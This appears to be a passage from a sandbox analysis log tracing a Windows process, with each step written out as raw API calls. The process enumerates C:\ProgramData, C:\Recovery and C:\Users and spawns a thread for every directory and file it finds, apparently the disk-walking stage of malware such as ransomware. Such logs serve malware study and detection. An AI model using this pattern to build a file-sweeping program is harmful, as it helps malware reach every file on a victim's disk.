	[0073.182] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d71080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x48c
	[0073.183] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0073.183] wcscmp (_String1="Microsoft", _String2=".") returned 1
	[0073.183] wcscmp (_String1="Microsoft", _String2="..") returned 1
	[0073.183] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x32) returned 0x2d70ac0
	[0073.183] wcscpy (in: _Dest=0x2d70ac0, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData"
	[0073.183] wcscat (in: _Dest=0x2d70ac0, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\"
	[0073.183] wcscat (in: _Dest=0x2d70ac0, _Source="Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.183] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70ac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x490
	[0073.184] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3ecd6462, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1
	[0073.184] wcscmp (_String1="Microsoft OneDrive", _String2=".") returned 1
	[0073.184] wcscmp (_String1="Microsoft OneDrive", _String2="..") returned 1
	[0073.184] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x44) returned 0x47311e0
	[0073.184] wcscpy (in: _Dest=0x47311e0, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData"
	[0073.184] wcscat (in: _Dest=0x47311e0, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\"
	[0073.184] wcscat (in: _Dest=0x47311e0, _Source="Microsoft OneDrive" | out: _Dest="C:\\ProgramData\\Microsoft OneDrive") returned="C:\\ProgramData\\Microsoft OneDrive"
	[0073.184] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47311e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494
	[0073.185] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa2d56a03, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1
	[0073.185] wcscmp (_String1="Oracle", _String2=".") returned 1
	[0073.185] wcscmp (_String1="Oracle", _String2="..") returned 1
	[0073.185] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2c) returned 0x2d7bd90
	[0073.185] wcscpy (in: _Dest=0x2d7bd90, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData"
	[0073.185] wcscat (in: _Dest=0x2d7bd90, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\"
	[0073.185] wcscat (in: _Dest=0x2d7bd90, _Source="Oracle" | out: _Dest="C:\\ProgramData\\Oracle") returned="C:\\ProgramData\\Oracle"
	[0073.185] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7bd90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x498
	[0073.186] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdefc9a0c, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1
	[0073.186] wcscmp (_String1="Package Cache", _String2=".") returned 1
	[0073.186] wcscmp (_String1="Package Cache", _String2="..") returned 1
	[0073.186] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d73300
	[0073.186] wcscpy (in: _Dest=0x2d73300, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData"
	[0073.186] wcscat (in: _Dest=0x2d73300, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\"
	[0073.186] wcscat (in: _Dest=0x2d73300, _Source="Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache"
	[0073.186] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d73300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c
	[0073.186] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x53fba98c, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft", cAlternateFileName="REGID1~1.MIC")) returned 1
	[0073.186] wcscmp (_String1="regid.1991-06.com.microsoft", _String2=".") returned 1
	[0073.186] wcscmp (_String1="regid.1991-06.com.microsoft", _String2="..") returned 1
	[0073.186] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x56) returned 0x2d77540
	[0073.186] wcscpy (in: _Dest=0x2d77540, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData"
	[0073.187] wcscat (in: _Dest=0x2d77540, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\"
	[0073.187] wcscat (in: _Dest=0x2d77540, _Source="regid.1991-06.com.microsoft" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft") returned="C:\\ProgramData\\regid.1991-06.com.microsoft"
	[0073.187] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d77540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a0
	[0073.187] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SoftwareDistribution", cAlternateFileName="SOFTWA~1")) returned 1
	[0073.187] wcscmp (_String1="SoftwareDistribution", _String2=".") returned 1
	[0073.187] wcscmp (_String1="SoftwareDistribution", _String2="..") returned 1
	[0073.187] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x4730f60
	[0073.187] wcscpy (in: _Dest=0x4730f60, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData"
	[0073.187] wcscat (in: _Dest=0x4730f60, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\"
	[0073.187] wcscat (in: _Dest=0x4730f60, _Source="SoftwareDistribution" | out: _Dest="C:\\ProgramData\\SoftwareDistribution") returned="C:\\ProgramData\\SoftwareDistribution"
	[0073.187] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4730f60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a4
	[0073.188] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1
	[0073.188] wcscmp (_String1="Start Menu", _String2=".") returned 1
	[0073.188] wcscmp (_String1="Start Menu", _String2="..") returned 1
	[0073.188] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d70740
	[0073.188] wcscpy (in: _Dest=0x2d70740, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData"
	[0073.188] wcscat (in: _Dest=0x2d70740, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\"
	[0073.188] wcscat (in: _Dest=0x2d70740, _Source="Start Menu" | out: _Dest="C:\\ProgramData\\Start Menu") returned="C:\\ProgramData\\Start Menu"
	[0073.188] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a8
	[0073.189] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0073.189] wcscmp (_String1="Templates", _String2=".") returned 1
	[0073.189] wcscmp (_String1="Templates", _String2="..") returned 1
	[0073.189] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x32) returned 0x2d709c0
	[0073.189] wcscpy (in: _Dest=0x2d709c0, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData"
	[0073.189] wcscat (in: _Dest=0x2d709c0, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\"
	[0073.189] wcscat (in: _Dest=0x2d709c0, _Source="Templates" | out: _Dest="C:\\ProgramData\\Templates") returned="C:\\ProgramData\\Templates"
	[0073.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d709c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ac
	[0073.190] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1931975, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="USOPrivate", cAlternateFileName="USOPRI~1")) returned 1
	[0073.190] wcscmp (_String1="USOPrivate", _String2=".") returned 1
	[0073.190] wcscmp (_String1="USOPrivate", _String2="..") returned 1
	[0073.190] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d70d00
	[0073.190] wcscpy (in: _Dest=0x2d70d00, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData"
	[0073.190] wcscat (in: _Dest=0x2d70d00, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\"
	[0073.190] wcscat (in: _Dest=0x2d70d00, _Source="USOPrivate" | out: _Dest="C:\\ProgramData\\USOPrivate") returned="C:\\ProgramData\\USOPrivate"
	[0073.190] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b0
	[0073.191] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ade3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="USOShared", cAlternateFileName="USOSHA~1")) returned 1
	[0073.191] wcscmp (_String1="USOShared", _String2=".") returned 1
	[0073.191] wcscmp (_String1="USOShared", _String2="..") returned 1
	[0073.191] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x32) returned 0x2d707c0
	[0073.191] wcscpy (in: _Dest=0x2d707c0, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData"
	[0073.191] wcscat (in: _Dest=0x2d707c0, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\"
	[0073.191] wcscat (in: _Dest=0x2d707c0, _Source="USOShared" | out: _Dest="C:\\ProgramData\\USOShared") returned="C:\\ProgramData\\USOShared"
	[0073.191] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d707c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b4
	[0073.192] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 1
	[0073.192] wcscmp (_String1="WindowsHolographicDevices", _String2=".") returned 1
	[0073.192] wcscmp (_String1="WindowsHolographicDevices", _String2="..") returned 1
	[0073.192] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x52) returned 0x2d77ae0
	[0073.192] wcscpy (in: _Dest=0x2d77ae0, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData"
	[0073.192] wcscat (in: _Dest=0x2d77ae0, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\"
	[0073.192] wcscat (in: _Dest=0x2d77ae0, _Source="WindowsHolographicDevices" | out: _Dest="C:\\ProgramData\\WindowsHolographicDevices") returned="C:\\ProgramData\\WindowsHolographicDevices"
	[0073.192] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d77ae0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b8
	[0073.192] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 0
	[0073.193] FindClose (in: hFindFile=0x2d71000 | out: hFindFile=0x2d71000) returned 1
	[0073.193] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.193] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77ea0) returned 1
	[0073.193] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1

Thread:
	id = 35
	os_tid = 0x8cc

	[0073.193] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1c) returned 0x2d76fe8
	[0073.193] wcscpy (in: _Dest=0x2d76fe8, _Source="C:\\Recovery" | out: _Dest="C:\\Recovery") returned="C:\\Recovery"
	[0073.194] wcscat (in: _Dest=0x2d76fe8, _Source="\\" | out: _Dest="C:\\Recovery\\") returned="C:\\Recovery\\"
	[0073.194] wcscat (in: _Dest=0x2d76fe8, _Source="*" | out: _Dest="C:\\Recovery\\*") returned="C:\\Recovery\\*"
	[0073.194] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.194] FindFirstFileW (in: lpFileName="C:\\Recovery\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71000
	[0073.195] wcscmp (_String1=".", _String2=".") returned 0
	[0073.195] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.195] wcscmp (_String1="..", _String2=".") returned 1
	[0073.195] wcscmp (_String1="..", _String2="..") returned 0
	[0073.195] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x28e9c3a2, ftLastAccessTime.dwHighDateTime=0x1d32795, ftLastWriteTime.dwLowDateTime=0x28e9c3a2, ftLastWriteTime.dwHighDateTime=0x1d32795, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1
	[0073.195] wcscmp (_String1="Logs", _String2=".") returned 1
	[0073.195] wcscmp (_String1="Logs", _String2="..") returned 1
	[0073.195] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x22) returned 0x2d77f30
	[0073.195] wcscpy (in: _Dest=0x2d77f30, _Source="C:\\Recovery" | out: _Dest="C:\\Recovery") returned="C:\\Recovery"
	[0073.195] wcscat (in: _Dest=0x2d77f30, _Source="\\" | out: _Dest="C:\\Recovery\\") returned="C:\\Recovery\\"
	[0073.195] wcscat (in: _Dest=0x2d77f30, _Source="Logs" | out: _Dest="C:\\Recovery\\Logs") returned="C:\\Recovery\\Logs"
	[0073.195] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d77f30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4bc
	[0073.195] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1044dfc5, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x3ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReAgentOld.xml", cAlternateFileName="REAGEN~1.XML")) returned 1
	[0073.196] wcscmp (_String1="ReAgentOld.xml", _String2=".") returned 1
	[0073.196] wcscmp (_String1="ReAgentOld.xml", _String2="..") returned 1
	[0073.196] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d70700
	[0073.196] wcscpy (in: _Dest=0x2d70700, _Source="C:\\Recovery" | out: _Dest="C:\\Recovery") returned="C:\\Recovery"
	[0073.196] wcscat (in: _Dest=0x2d70700, _Source="\\" | out: _Dest="C:\\Recovery\\") returned="C:\\Recovery\\"
	[0073.196] wcscat (in: _Dest=0x2d70700, _Source="ReAgentOld.xml" | out: _Dest="C:\\Recovery\\ReAgentOld.xml") returned="C:\\Recovery\\ReAgentOld.xml"
	[0073.196] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d70700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c0
	[0073.196] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1044dfc5, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x3ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReAgentOld.xml", cAlternateFileName="REAGEN~1.XML")) returned 0
	[0073.196] FindClose (in: hFindFile=0x2d71000 | out: hFindFile=0x2d71000) returned 1
	[0073.196] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.196] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76fe8) returned 1
	[0073.197] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f70) returned 1

Thread:
	id = 36
	os_tid = 0x168

	[0073.198] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x16) returned 0x2d79be0
	[0073.198] wcscpy (in: _Dest=0x2d79be0, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users"
	[0073.199] wcscat (in: _Dest=0x2d79be0, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\"
	[0073.199] wcscat (in: _Dest=0x2d79be0, _Source="*" | out: _Dest="C:\\Users\\*") returned="C:\\Users\\*"
	[0073.199] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.199] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70e00
	[0073.199] wcscmp (_String1=".", _String2=".") returned 0
	[0073.199] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.199] wcscmp (_String1="..", _String2=".") returned 1
	[0073.199] wcscmp (_String1="..", _String2="..") returned 0
	[0073.200] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xd7b844b1, ftCreationTime.dwHighDateTime=0x1d2a02f, ftLastAccessTime.dwLowDateTime=0xd7b844b1, ftLastAccessTime.dwHighDateTime=0x1d2a02f, ftLastWriteTime.dwLowDateTime=0xd7b844b1, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1
	[0073.200] wcscmp (_String1="All Users", _String2=".") returned 1
	[0073.200] wcscmp (_String1="All Users", _String2="..") returned 1
	[0073.200] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x26) returned 0x2d77f90
	[0073.200] wcscpy (in: _Dest=0x2d77f90, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users"
	[0073.200] wcscat (in: _Dest=0x2d77f90, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\"
	[0073.200] wcscat (in: _Dest=0x2d77f90, _Source="All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users"
	[0073.200] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d77f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c8
	[0073.203] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1
	[0073.203] wcscmp (_String1="Default", _String2=".") returned 1
	[0073.203] wcscmp (_String1="Default", _String2="..") returned 1
